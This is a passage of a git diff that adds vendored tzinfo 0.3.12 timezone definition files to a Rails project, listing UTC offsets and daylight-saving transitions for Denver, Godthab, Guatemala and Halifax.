14818475, 6 + tz.transition 2050, 4, :o4, 19759199, 8 + tz.transition 2050, 10, :o1, 14820659, 6 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Denver.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Denver.rb new file mode 100644 index 00000000..1c1efb5f --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Denver.rb @@ -0,0 +1,204 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Denver + include TimezoneDefinition + + timezone 'America/Denver' do |tz| + tz.offset :o0, -25196, 0, :LMT + tz.offset :o1, -25200, 0, :MST + tz.offset :o2, -25200, 3600, :MDT + tz.offset :o3, -25200, 3600, :MWT + tz.offset :o4, -25200, 3600, :MPT + + tz.transition 1883, 11, :o1, 57819199, 24 + tz.transition 1918, 3, :o2, 19373471, 8 + tz.transition 1918, 10, :o1, 14531363, 6 + tz.transition 1919, 3, :o2, 19376383, 8 + tz.transition 1919, 10, :o1, 14533547, 6 + tz.transition 1920, 3, :o2, 19379295, 8 + tz.transition 1920, 10, :o1, 14535773, 6 + tz.transition 1921, 3, :o2, 19382207, 8 + tz.transition 1921, 5, :o1, 14536991, 6 + tz.transition 1942, 2, :o3, 19443199, 8 + tz.transition 1945, 8, :o4, 58360379, 24 + tz.transition 1945, 9, :o1, 14590373, 6 + tz.transition 1965, 4, :o2, 19511007, 8 + tz.transition 1965, 10, :o1, 14634389, 6 + tz.transition 1966, 4, :o2, 19513919, 8 + tz.transition 1966, 10, :o1, 14636573, 6 + tz.transition 1967, 4, :o2, 19516887, 8 + tz.transition 1967, 10, :o1, 14638757, 6 + tz.transition 1968, 4, :o2, 19519799, 8 + tz.transition 1968, 10, :o1, 14640941, 6 + tz.transition 1969, 4, :o2, 19522711, 8 + tz.transition 1969, 10, :o1, 14643125, 6 + tz.transition 1970, 4, :o2, 9968400 + tz.transition 1970, 10, :o1, 25689600 + tz.transition 1971, 4, :o2, 41418000 + tz.transition 1971, 10, :o1, 57744000 + tz.transition 1972, 4, :o2, 73472400 + tz.transition 1972, 10, :o1, 89193600 + tz.transition 1973, 4, :o2, 104922000 + tz.transition 1973, 10, :o1, 120643200 + tz.transition 1974, 1, :o2, 126694800 + tz.transition 1974, 10, :o1, 152092800 + tz.transition 1975, 2, :o2, 162378000 + tz.transition 1975, 10, :o1, 183542400 + tz.transition 1976, 4, :o2, 199270800 + tz.transition 1976, 10, :o1, 215596800 + tz.transition 1977, 4, :o2, 230720400 + tz.transition 1977, 10, :o1, 247046400 + tz.transition 1978, 4, :o2, 262774800 + tz.transition 1978, 10, :o1, 278496000 + tz.transition 1979, 4, :o2, 294224400 + tz.transition 1979, 10, :o1, 309945600 + tz.transition 1980, 4, :o2, 325674000 + tz.transition 1980, 10, :o1, 341395200 + tz.transition 1981, 4, :o2, 357123600 + tz.transition 1981, 10, :o1, 372844800 + tz.transition 1982, 4, :o2, 388573200 + tz.transition 1982, 10, :o1, 404899200 + tz.transition 1983, 4, :o2, 420022800 + tz.transition 1983, 10, :o1, 436348800 + tz.transition 1984, 4, :o2, 452077200 + tz.transition 1984, 10, :o1, 467798400 + tz.transition 1985, 4, :o2, 483526800 + tz.transition 1985, 10, :o1, 499248000 + tz.transition 1986, 4, :o2, 514976400 + tz.transition 1986, 10, :o1, 530697600 + tz.transition 1987, 4, :o2, 544611600 + tz.transition 1987, 10, :o1, 562147200 + tz.transition 1988, 4, :o2, 576061200 + tz.transition 1988, 10, :o1, 594201600 + tz.transition 1989, 4, :o2, 607510800 + tz.transition 1989, 10, :o1, 625651200 + tz.transition 1990, 4, :o2, 638960400 + tz.transition 1990, 10, :o1, 657100800 + tz.transition 1991, 4, :o2, 671014800 + tz.transition 1991, 10, :o1, 688550400 + tz.transition 1992, 4, :o2, 702464400 + tz.transition 1992, 10, :o1, 720000000 + tz.transition 1993, 4, :o2, 733914000 + tz.transition 1993, 10, :o1, 752054400 + tz.transition 1994, 4, :o2, 765363600 + tz.transition 1994, 10, :o1, 783504000 + tz.transition 1995, 4, :o2, 796813200 + tz.transition 1995, 10, :o1, 814953600 + tz.transition 1996, 4, :o2, 828867600 + tz.transition 1996, 10, :o1, 846403200 + tz.transition 1997, 4, :o2, 860317200 + tz.transition 1997, 10, :o1, 877852800 + tz.transition 1998, 4, :o2, 891766800 + tz.transition 1998, 10, :o1, 909302400 + tz.transition 1999, 4, :o2, 923216400 + tz.transition 1999, 10, :o1, 941356800 + tz.transition 2000, 4, :o2, 954666000 + tz.transition 2000, 10, :o1, 972806400 + tz.transition 2001, 4, :o2, 986115600 + tz.transition 2001, 10, :o1, 1004256000 + tz.transition 2002, 4, :o2, 1018170000 + tz.transition 2002, 10, :o1, 1035705600 + tz.transition 2003, 4, :o2, 1049619600 + tz.transition 2003, 10, :o1, 1067155200 + tz.transition 2004, 4, :o2, 1081069200 + tz.transition 2004, 10, :o1, 1099209600 + tz.transition 2005, 4, :o2, 1112518800 + tz.transition 2005, 10, :o1, 1130659200 + tz.transition 2006, 4, :o2, 1143968400 + tz.transition 2006, 10, :o1, 1162108800 + tz.transition 2007, 3, :o2, 1173603600 + tz.transition 2007, 11, :o1, 1194163200 + tz.transition 2008, 3, :o2, 1205053200 + tz.transition 2008, 11, :o1, 1225612800 + tz.transition 2009, 3, :o2, 1236502800 + tz.transition 2009, 11, :o1, 1257062400 + tz.transition 2010, 3, :o2, 1268557200 + tz.transition 2010, 11, :o1, 1289116800 + tz.transition 2011, 3, :o2, 1300006800 + tz.transition 2011, 11, :o1, 1320566400 + tz.transition 2012, 3, :o2, 1331456400 + tz.transition 2012, 11, :o1, 1352016000 + tz.transition 2013, 3, :o2, 1362906000 + tz.transition 2013, 11, :o1, 1383465600 + tz.transition 2014, 3, :o2, 1394355600 + tz.transition 2014, 11, :o1, 1414915200 + tz.transition 2015, 3, :o2, 1425805200 + tz.transition 2015, 11, :o1, 1446364800 + tz.transition 2016, 3, :o2, 1457859600 + tz.transition 2016, 11, :o1, 1478419200 + tz.transition 2017, 3, :o2, 1489309200 + tz.transition 2017, 11, :o1, 1509868800 + tz.transition 2018, 3, :o2, 1520758800 + tz.transition 2018, 11, :o1, 1541318400 + tz.transition 2019, 3, :o2, 1552208400 + tz.transition 2019, 11, :o1, 1572768000 + tz.transition 2020, 3, :o2, 1583658000 + tz.transition 2020, 11, :o1, 1604217600 + tz.transition 2021, 3, :o2, 1615712400 + tz.transition 2021, 11, :o1, 1636272000 + tz.transition 2022, 3, :o2, 1647162000 + tz.transition 2022, 11, :o1, 1667721600 + tz.transition 2023, 3, :o2, 1678611600 + tz.transition 2023, 11, :o1, 1699171200 + tz.transition 2024, 3, :o2, 1710061200 + tz.transition 2024, 11, :o1, 1730620800 + tz.transition 2025, 3, :o2, 1741510800 + tz.transition 2025, 11, :o1, 1762070400 + tz.transition 2026, 3, :o2, 1772960400 + tz.transition 2026, 11, :o1, 1793520000 + tz.transition 2027, 3, :o2, 1805014800 + tz.transition 2027, 11, :o1, 1825574400 + tz.transition 2028, 3, :o2, 1836464400 + tz.transition 2028, 11, :o1, 1857024000 + tz.transition 2029, 3, :o2, 1867914000 + tz.transition 2029, 11, :o1, 1888473600 + tz.transition 2030, 3, :o2, 1899363600 + tz.transition 2030, 11, :o1, 1919923200 + tz.transition 2031, 3, :o2, 1930813200 + tz.transition 2031, 11, :o1, 1951372800 + tz.transition 2032, 3, :o2, 1962867600 + tz.transition 2032, 11, :o1, 1983427200 + tz.transition 2033, 3, :o2, 1994317200 + tz.transition 2033, 11, :o1, 2014876800 + tz.transition 2034, 3, :o2, 2025766800 + tz.transition 2034, 11, :o1, 2046326400 + tz.transition 2035, 3, :o2, 2057216400 + tz.transition 2035, 11, :o1, 2077776000 + tz.transition 2036, 3, :o2, 2088666000 + tz.transition 2036, 11, :o1, 2109225600 + tz.transition 2037, 3, :o2, 2120115600 + tz.transition 2037, 11, :o1, 2140675200 + tz.transition 2038, 3, :o2, 19723975, 8 + tz.transition 2038, 11, :o1, 14794409, 6 + tz.transition 2039, 3, :o2, 19726887, 8 + tz.transition 2039, 11, :o1, 14796593, 6 + tz.transition 2040, 3, :o2, 19729799, 8 + tz.transition 2040, 11, :o1, 14798777, 6 + tz.transition 2041, 3, :o2, 19732711, 8 + tz.transition 2041, 11, :o1, 14800961, 6 + tz.transition 2042, 3, :o2, 19735623, 8 + tz.transition 2042, 11, :o1, 14803145, 6 + tz.transition 2043, 3, :o2, 19738535, 8 + tz.transition 2043, 11, :o1, 14805329, 6 + tz.transition 2044, 3, :o2, 19741503, 8 + tz.transition 2044, 11, :o1, 14807555, 6 + tz.transition 2045, 3, :o2, 19744415, 8 + tz.transition 2045, 11, :o1, 14809739, 6 + tz.transition 2046, 3, :o2, 19747327, 8 + tz.transition 2046, 11, :o1, 14811923, 6 + tz.transition 2047, 3, :o2, 19750239, 8 + tz.transition 2047, 11, :o1, 14814107, 6 + tz.transition 2048, 3, :o2, 19753151, 8 + tz.transition 2048, 11, :o1, 14816291, 6 + tz.transition 2049, 3, :o2, 19756119, 8 + tz.transition 2049, 11, :o1, 14818517, 6 + tz.transition 2050, 3, :o2, 19759031, 8 + tz.transition 2050, 11, :o1, 14820701, 6 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Godthab.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Godthab.rb new file mode 100644 index 00000000..1e05518b --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Godthab.rb @@ -0,0 +1,161 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Godthab + include TimezoneDefinition + + timezone 'America/Godthab' do |tz| + tz.offset :o0, -12416, 0, :LMT + tz.offset :o1, -10800, 0, :WGT + tz.offset :o2, -10800, 3600, :WGST + + tz.transition 1916, 7, :o1, 3268448069, 1350 + tz.transition 1980, 4, :o2, 323845200 + tz.transition 1980, 9, :o1, 338950800 + tz.transition 1981, 3, :o2, 354675600 + tz.transition 1981, 9, :o1, 370400400 + tz.transition 1982, 3, :o2, 386125200 + tz.transition 1982, 9, :o1, 401850000 + tz.transition 1983, 3, :o2, 417574800 + tz.transition 1983, 9, :o1, 433299600 + tz.transition 1984, 3, :o2, 449024400 + tz.transition 1984, 9, :o1, 465354000 + tz.transition 1985, 3, :o2, 481078800 + tz.transition 1985, 9, :o1, 496803600 + tz.transition 1986, 3, :o2, 512528400 + tz.transition 1986, 9, :o1, 528253200 + tz.transition 1987, 3, :o2, 543978000 + tz.transition 1987, 9, :o1, 559702800 + tz.transition 1988, 3, :o2, 575427600 + tz.transition 1988, 9, :o1, 591152400 + tz.transition 1989, 3, :o2, 606877200 + tz.transition 1989, 9, :o1, 622602000 + tz.transition 1990, 3, :o2, 638326800 + tz.transition 1990, 9, :o1, 654656400 + tz.transition 1991, 3, :o2, 670381200 + tz.transition 1991, 9, :o1, 686106000 + tz.transition 1992, 3, :o2, 701830800 + tz.transition 1992, 9, :o1, 717555600 + tz.transition 1993, 3, :o2, 733280400 + tz.transition 1993, 9, :o1, 749005200 + tz.transition 1994, 3, :o2, 764730000 + tz.transition 1994, 9, :o1, 780454800 + tz.transition 1995, 3, :o2, 796179600 + tz.transition 1995, 9, :o1, 811904400 + tz.transition 1996, 3, :o2, 828234000 + tz.transition 1996, 10, :o1, 846378000 + tz.transition 1997, 3, :o2, 859683600 + tz.transition 1997, 10, :o1, 877827600 + tz.transition 1998, 3, :o2, 891133200 + tz.transition 1998, 10, :o1, 909277200 + tz.transition 1999, 3, :o2, 922582800 + tz.transition 1999, 10, :o1, 941331600 + tz.transition 2000, 3, :o2, 954032400 + tz.transition 2000, 10, :o1, 972781200 + tz.transition 2001, 3, :o2, 985482000 + tz.transition 2001, 10, :o1, 1004230800 + tz.transition 2002, 3, :o2, 1017536400 + tz.transition 2002, 10, :o1, 1035680400 + tz.transition 2003, 3, :o2, 1048986000 + tz.transition 2003, 10, :o1, 1067130000 + tz.transition 2004, 3, :o2, 1080435600 + tz.transition 2004, 10, :o1, 1099184400 + tz.transition 2005, 3, :o2, 1111885200 + tz.transition 2005, 10, :o1, 1130634000 + tz.transition 2006, 3, :o2, 1143334800 + tz.transition 2006, 10, :o1, 1162083600 + tz.transition 2007, 3, :o2, 1174784400 + tz.transition 2007, 10, :o1, 1193533200 + tz.transition 2008, 3, :o2, 1206838800 + tz.transition 2008, 10, :o1, 1224982800 + tz.transition 2009, 3, :o2, 1238288400 + tz.transition 2009, 10, :o1, 1256432400 + tz.transition 2010, 3, :o2, 1269738000 + tz.transition 2010, 10, :o1, 1288486800 + tz.transition 2011, 3, :o2, 1301187600 + tz.transition 2011, 10, :o1, 1319936400 + tz.transition 2012, 3, :o2, 1332637200 + tz.transition 2012, 10, :o1, 1351386000 + tz.transition 2013, 3, :o2, 1364691600 + tz.transition 2013, 10, :o1, 1382835600 + tz.transition 2014, 3, :o2, 1396141200 + tz.transition 2014, 10, :o1, 1414285200 + tz.transition 2015, 3, :o2, 1427590800 + tz.transition 2015, 10, :o1, 1445734800 + tz.transition 2016, 3, :o2, 1459040400 + tz.transition 2016, 10, :o1, 1477789200 + tz.transition 2017, 3, :o2, 1490490000 + tz.transition 2017, 10, :o1, 1509238800 + tz.transition 2018, 3, :o2, 1521939600 + tz.transition 2018, 10, :o1, 1540688400 + tz.transition 2019, 3, :o2, 1553994000 + tz.transition 2019, 10, :o1, 1572138000 + tz.transition 2020, 3, :o2, 1585443600 + tz.transition 2020, 10, :o1, 1603587600 + tz.transition 2021, 3, :o2, 1616893200 + tz.transition 2021, 10, :o1, 1635642000 + tz.transition 2022, 3, :o2, 1648342800 + tz.transition 2022, 10, :o1, 1667091600 + tz.transition 2023, 3, :o2, 1679792400 + tz.transition 2023, 10, :o1, 1698541200 + tz.transition 2024, 3, :o2, 1711846800 + tz.transition 2024, 10, :o1, 1729990800 + tz.transition 2025, 3, :o2, 1743296400 + tz.transition 2025, 10, :o1, 1761440400 + tz.transition 2026, 3, :o2, 1774746000 + tz.transition 2026, 10, :o1, 1792890000 + tz.transition 2027, 3, :o2, 1806195600 + tz.transition 2027, 10, :o1, 1824944400 + tz.transition 2028, 3, :o2, 1837645200 + tz.transition 2028, 10, :o1, 1856394000 + tz.transition 2029, 3, :o2, 1869094800 + tz.transition 2029, 10, :o1, 1887843600 + tz.transition 2030, 3, :o2, 1901149200 + tz.transition 2030, 10, :o1, 1919293200 + tz.transition 2031, 3, :o2, 1932598800 + tz.transition 2031, 10, :o1, 1950742800 + tz.transition 2032, 3, :o2, 1964048400 + tz.transition 2032, 10, :o1, 1982797200 + tz.transition 2033, 3, :o2, 1995498000 + tz.transition 2033, 10, :o1, 2014246800 + tz.transition 2034, 3, :o2, 2026947600 + tz.transition 2034, 10, :o1, 2045696400 + tz.transition 2035, 3, :o2, 2058397200 + tz.transition 2035, 10, :o1, 2077146000 + tz.transition 2036, 3, :o2, 2090451600 + tz.transition 2036, 10, :o1, 2108595600 + tz.transition 2037, 3, :o2, 2121901200 + tz.transition 2037, 10, :o1, 2140045200 + tz.transition 2038, 3, :o2, 59172253, 24 + tz.transition 2038, 10, :o1, 59177461, 24 + tz.transition 2039, 3, :o2, 59180989, 24 + tz.transition 2039, 10, :o1, 59186197, 24 + tz.transition 2040, 3, :o2, 59189725, 24 + tz.transition 2040, 10, :o1, 59194933, 24 + tz.transition 2041, 3, :o2, 59198629, 24 + tz.transition 2041, 10, :o1, 59203669, 24 + tz.transition 2042, 3, :o2, 59207365, 24 + tz.transition 2042, 10, :o1, 59212405, 24 + tz.transition 2043, 3, :o2, 59216101, 24 + tz.transition 2043, 10, :o1, 59221141, 24 + tz.transition 2044, 3, :o2, 59224837, 24 + tz.transition 2044, 10, :o1, 59230045, 24 + tz.transition 2045, 3, :o2, 59233573, 24 + tz.transition 2045, 10, :o1, 59238781, 24 + tz.transition 2046, 3, :o2, 59242309, 24 + tz.transition 2046, 10, :o1, 59247517, 24 + tz.transition 2047, 3, :o2, 59251213, 24 + tz.transition 2047, 10, :o1, 59256253, 24 + tz.transition 2048, 3, :o2, 59259949, 24 + tz.transition 2048, 10, :o1, 59264989, 24 + tz.transition 2049, 3, :o2, 59268685, 24 + tz.transition 2049, 10, :o1, 59273893, 24 + tz.transition 2050, 3, :o2, 59277421, 24 + tz.transition 2050, 10, :o1, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Guatemala.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Guatemala.rb new file mode 100644 index 00000000..a2bf7340 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Guatemala.rb @@ -0,0 +1,27 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Guatemala + include TimezoneDefinition + + timezone 'America/Guatemala' do |tz| + tz.offset :o0, -21724, 0, :LMT + tz.offset :o1, -21600, 0, :CST + tz.offset :o2, -21600, 3600, :CDT + + tz.transition 1918, 10, :o1, 52312429831, 21600 + tz.transition 1973, 11, :o2, 123055200 + tz.transition 1974, 2, :o1, 130914000 + tz.transition 1983, 5, :o2, 422344800 + tz.transition 1983, 9, :o1, 433054800 + tz.transition 1991, 3, :o2, 669708000 + tz.transition 1991, 9, :o1, 684219600 + tz.transition 2006, 4, :o2, 1146376800 + tz.transition 2006, 10, :o1, 1159678800 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Halifax.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Halifax.rb new file mode 100644 index 00000000..d25ae775 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Halifax.rb @@ -0,0 +1,274 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Halifax + include TimezoneDefinition + + timezone 'America/Halifax' do |tz| + tz.offset :o0, -15264, 0, :LMT + tz.offset :o1, -14400, 0, :AST + tz.offset :o2, -14400, 3600, :ADT + tz.offset :o3, -14400, 3600, :AWT + tz.offset :o4, -14400, 3600, :APT + + tz.transition 1902, 6, :o1, 724774703, 300 + tz.transition 1916, 4, :o2, 7262864, 3 + tz.transition 1916, 10, :o1, 19369101, 8 + tz.transition 1918, 4, :o2, 9686791, 4 + tz.transition 1918, 10, :o1, 58125545, 24 + tz.transition 1920, 5, :o2, 7267361, 3 + tz.transition 1920, 8, :o1, 19380525, 8 + tz.transition 1921, 5, :o2, 7268447, 3 + tz.transition 1921, 9, :o1, 19383501, 8 + tz.transition 1922, 4, :o2, 7269524, 3 + tz.transition 1922, 9, :o1, 19386421, 8 + tz.transition 1923, 5, :o2, 7270637, 3 + tz.transition 1923, 9, :o1, 19389333, 8 + tz.transition 1924, 5, :o2, 7271729, 3 + tz.transition 1924, 9, :o1, 19392349, 8 + tz.transition 1925, 5, :o2, 7272821, 3 + tz.transition 1925, 9, :o1, 19395373, 8 + tz.transition 1926, 5, :o2, 7273955, 3 + tz.transition 1926, 9, :o1, 19398173, 8 + tz.transition 1927, 5, :o2, 7275005, 3 + tz.transition 1927, 9, :o1, 19401197, 8 + tz.transition 1928, 5, :o2, 7276139, 3 + tz.transition 1928, 9, :o1, 19403989, 8 + tz.transition 1929, 5, :o2, 7277231, 3 + tz.transition 1929, 9, :o1, 19406861, 8 + tz.transition 1930, 5, :o2, 7278323, 3 + tz.transition 1930, 9, :o1, 19409877, 8 + tz.transition 1931, 5, :o2, 7279415, 3 + tz.transition 1931, 9, :o1, 19412901, 8 + tz.transition 1932, 5, :o2, 7280486, 3 + tz.transition 1932, 9, :o1, 19415813, 8 + tz.transition 1933, 4, :o2, 7281578, 3 + tz.transition 1933, 10, :o1, 19418781, 8 + tz.transition 1934, 5, :o2, 7282733, 3 + tz.transition 1934, 9, :o1, 19421573, 8 + tz.transition 1935, 6, :o2, 7283867, 3 + tz.transition 1935, 9, :o1, 19424605, 8 + tz.transition 1936, 6, :o2, 7284962, 3 + tz.transition 1936, 9, :o1, 19427405, 8 + tz.transition 1937, 5, :o2, 7285967, 3 + tz.transition 1937, 9, :o1, 19430429, 8 + tz.transition 1938, 5, :o2, 7287059, 3 + tz.transition 1938, 9, :o1, 19433341, 8 + tz.transition 1939, 5, :o2, 7288235, 3 + tz.transition 1939, 9, :o1, 19436253, 8 + tz.transition 1940, 5, :o2, 7289264, 3 + tz.transition 1940, 9, :o1, 19439221, 8 + tz.transition 1941, 5, :o2, 7290356, 3 + tz.transition 1941, 9, :o1, 19442133, 8 + tz.transition 1942, 2, :o3, 9721599, 4 + tz.transition 1945, 8, :o4, 58360379, 24 + tz.transition 1945, 9, :o1, 58361489, 24 + tz.transition 1946, 4, :o2, 9727755, 4 + tz.transition 1946, 9, :o1, 58370225, 24 + tz.transition 1947, 4, :o2, 9729211, 4 + tz.transition 1947, 9, :o1, 58378961, 24 + tz.transition 1948, 4, :o2, 9730667, 4 + tz.transition 1948, 9, :o1, 58387697, 24 + tz.transition 1949, 4, :o2, 9732123, 4 + tz.transition 1949, 9, :o1, 58396433, 24 + tz.transition 1951, 4, :o2, 9735063, 4 + tz.transition 1951, 9, :o1, 58414073, 24 + tz.transition 1952, 4, :o2, 9736519, 4 + tz.transition 1952, 9, :o1, 58422809, 24 + tz.transition 1953, 4, :o2, 9737975, 4 + tz.transition 1953, 9, :o1, 58431545, 24 + tz.transition 1954, 4, :o2, 9739431, 4 + tz.transition 1954, 9, :o1, 58440281, 24 + tz.transition 1956, 4, :o2, 9742371, 4 + tz.transition 1956, 9, :o1, 58457921, 24 + tz.transition 1957, 4, :o2, 9743827, 4 + tz.transition 1957, 9, :o1, 58466657, 24 + tz.transition 1958, 4, :o2, 9745283, 4 + tz.transition 1958, 9, :o1, 58475393, 24 + tz.transition 1959, 4, :o2, 9746739, 4 + tz.transition 1959, 9, :o1, 58484129, 24 + tz.transition 1962, 4, :o2, 9751135, 4 + tz.transition 1962, 10, :o1, 58511177, 24 + tz.transition 1963, 4, :o2, 9752591, 4 + tz.transition 1963, 10, :o1, 58519913, 24 + tz.transition 1964, 4, :o2, 9754047, 4 + tz.transition 1964, 10, :o1, 58528649, 24 + tz.transition 1965, 4, :o2, 9755503, 4 + tz.transition 1965, 10, :o1, 58537553, 24 + tz.transition 1966, 4, :o2, 9756959, 4 + tz.transition 1966, 10, :o1, 58546289, 24 + tz.transition 1967, 4, :o2, 9758443, 4 + tz.transition 1967, 10, :o1, 58555025, 24 + tz.transition 1968, 4, :o2, 9759899, 4 + tz.transition 1968, 10, :o1, 58563761, 24 + tz.transition 1969, 4, :o2, 9761355, 4 + tz.transition 1969, 10, :o1, 58572497, 24 + tz.transition 1970, 4, :o2, 9957600 + tz.transition 1970, 10, :o1, 25678800 + tz.transition 1971, 4, :o2, 41407200 + tz.transition 1971, 10, :o1, 57733200 + tz.transition 1972, 4, :o2, 73461600 + tz.transition 1972, 10, :o1, 89182800 + tz.transition 1973, 4, :o2, 104911200 + tz.transition 1973, 10, :o1, 120632400 + tz.transition 1974, 4, :o2, 136360800 + tz.transition 1974, 10, :o1, 152082000 + tz.transition 1975, 4, :o2, 167810400 + tz.transition 1975, 10, :o1, 183531600 + tz.transition 1976, 4, :o2, 199260000 + tz.transition 1976, 10, :o1, 215586000 + tz.transition 1977, 4, :o2, 230709600 + tz.transition 1977, 10, :o1, 247035600 + tz.transition 1978, 4, :o2, 262764000 + tz.transition 1978, 10, :o1, 278485200 + tz.transition 1979, 4, :o2, 294213600 + tz.transition 1979, 10, :o1, 309934800 + tz.transition 1980, 4, :o2, 325663200 + tz.transition 1980, 10, :o1, 341384400 + tz.transition 1981, 4, :o2, 357112800 + tz.transition 1981, 10, :o1, 372834000 + tz.transition 1982, 4, :o2, 388562400 + tz.transition 1982, 10, :o1, 404888400 + tz.transition 1983, 4, :o2, 420012000 + tz.transition 1983, 10, :o1, 436338000 + tz.transition 1984, 4, :o2, 452066400 + tz.transition 1984, 10, :o1, 467787600 + tz.transition 1985, 4, :o2, 483516000 + tz.transition 1985, 10, :o1, 499237200 + tz.transition 1986, 4, :o2, 514965600 + tz.transition 1986, 10, :o1, 530686800 + tz.transition 1987, 4, :o2, 544600800 + tz.transition 1987, 10, :o1, 562136400 + tz.transition 1988, 4, :o2, 576050400 + tz.transition 1988, 10, :o1, 594190800 + tz.transition 1989, 4, :o2, 607500000 + tz.transition 1989, 10, :o1, 625640400 + tz.transition 1990, 4, :o2, 638949600 + tz.transition 1990, 10, :o1, 657090000 + tz.transition 1991, 4, :o2, 671004000 + tz.transition 1991, 10, :o1, 688539600 + tz.transition 1992, 4, :o2, 702453600 + tz.transition 1992, 10, :o1, 719989200 + tz.transition 1993, 4, :o2, 733903200 + tz.transition 1993, 10, :o1, 752043600 + tz.transition 1994, 4, :o2, 765352800 + tz.transition 1994, 10, :o1, 783493200 + tz.transition 1995, 4, :o2, 796802400 + tz.transition 1995, 10, :o1, 814942800 + tz.transition 1996, 4, :o2, 828856800 + tz.transition 1996, 10, :o1, 846392400 + tz.transition 1997, 4, :o2, 860306400 + tz.transition 1997, 10, :o1, 877842000 + tz.transition 1998, 4, :o2, 891756000 + tz.transition 1998, 10, :o1, 909291600 + tz.transition 1999, 4, :o2, 923205600 + tz.transition 1999, 10, :o1, 941346000 + tz.transition 2000, 4, :o2, 954655200 + tz.transition 2000, 10, :o1, 972795600 + tz.transition 2001, 4, :o2, 986104800 + tz.transition 2001, 10, :o1, 1004245200 + tz.transition 2002, 4, :o2, 1018159200 + tz.transition 2002, 10, :o1, 1035694800 + tz.transition 2003, 4, :o2, 1049608800 + tz.transition 2003, 10, :o1, 1067144400 + tz.transition 2004, 4, :o2, 1081058400 + tz.transition 2004, 10, :o1, 1099198800 + tz.transition 2005, 4, :o2, 1112508000 + tz.transition 2005, 10, :o1, 1130648400 + tz.transition 2006, 4, :o2, 1143957600 + tz.transition 2006, 10, :o1, 1162098000 + tz.transition 2007, 3, :o2, 1173592800 + tz.transition 2007, 11, :o1, 1194152400 + tz.transition 2008, 3, :o2, 1205042400 + tz.transition 2008, 11, :o1, 1225602000 + tz.transition 2009, 3, :o2, 1236492000 + tz.transition 2009, 11, :o1, 1257051600 + tz.transition 2010, 3, :o2, 1268546400 + tz.transition 2010, 11, :o1, 1289106000 + tz.transition 2011, 3, :o2, 1299996000 + tz.transition 2011, 11, :o1, 1320555600 + tz.transition 2012, 3, :o2, 1331445600 + tz.transition 2012, 11, :o1, 1352005200 + tz.transition 2013, 3, :o2, 1362895200 + tz.transition 2013, 11, :o1, 1383454800 + tz.transition 2014, 3, :o2, 1394344800 + tz.transition 2014, 11, :o1, 1414904400 + tz.transition 2015, 3, :o2, 1425794400 + tz.transition 2015, 11, :o1, 1446354000 + tz.transition 2016, 3, :o2, 1457848800 + tz.transition 2016, 11, :o1, 1478408400 + tz.transition 2017, 3, :o2, 1489298400 + tz.transition 2017, 11, :o1, 1509858000 + tz.transition 2018, 3, :o2, 1520748000 + tz.transition 2018, 11, :o1, 1541307600 + tz.transition 2019, 3, :o2, 1552197600 + tz.transition 2019, 11, :o1, 1572757200 + tz.transition 2020, 3, :o2, 1583647200 + tz.transition 2020, 11, :o1, 1604206800 + tz.transition 2021, 3, :o2, 1615701600 + tz.transition 2021, 11, :o1, 1636261200 + tz.transition 2022, 3, :o2, 1647151200 + tz.transition 2022, 11, :o1, 1667710800 + tz.transition 2023, 3, :o2, 1678600800 + tz.transition 2023, 11, :o1, 1699160400 + tz.transition 2024, 3, :o2, 1710050400 + tz.transition 2024, 11, :o1, 1730610000 + tz.transition 2025, 3, :o2, 1741500000 + tz.transition 2025, 11, :o1, 1762059600 + tz.transition 2026, 3, :o2, 1772949600 + tz.transition 2026, 11, :o1, 1793509200 + tz.transition 2027, 3, :o2, 1805004000 + tz.transition 2027, 11, :o1, 1825563600 + tz.transition 2028, 3, :o2, 1836453600 + tz.transition 2028, 11, :o1, 1857013200 + tz.transition 2029, 3, :o2, 1867903200 + tz.transition 2029, 11, :o1, 1888462800 + tz.transition 2030, 3, :o2, 1899352800 + tz.transition 2030, 11, :o1, 1919912400 + tz.transition 2031, 3, :o2, 1930802400 + tz.transition 2031, 11, :o1, 1951362000 + tz.transition 2032, 3, :o2, 1962856800 + tz.transition 2032, 11, :o1, 1983416400 + tz.transition 2033, 3, :o2, 1994306400 + tz.transition 2033, 11, :o1, 2014866000 + tz.transition 2034, 3, :o2, 2025756000 + tz.transition 2034, 11, :o1, 2046315600 + tz.transition 2035, 3, :o2, 2057205600 + tz.transition 2035, 11, :o1, 2077765200 + tz.transition 2036, 3, :o2, 2088655200 + tz.transition 2036, 11, :o1, 2109214800 + tz.transition 2037, 3, :o2, 2120104800 + tz.transition 2037, 11, :o1, 2140664400 + tz.transition 2038, 3, :o2, 9861987, 4 + tz.transition 2038, 11, :o1, 59177633, 24 + tz.transition 2039, 3, :o2, 9863443, 4 + tz.transition 2039, 11, :o1, 59186369, 24 + tz.transition 2040, 3, :o2, 9864899, 4 + tz.transition 2040, 11, :o1, 59195105, 24 + tz.transition 2041, 3, :o2, 9866355, 4 + tz.transition 2041, 11, :o1, 59203841, 24 + tz.transition 2042, 3, :o2, 9867811, 4 + tz.transition 2042, 11, :o1, 59212577, 24 + tz.transition 2043, 3, :o2, 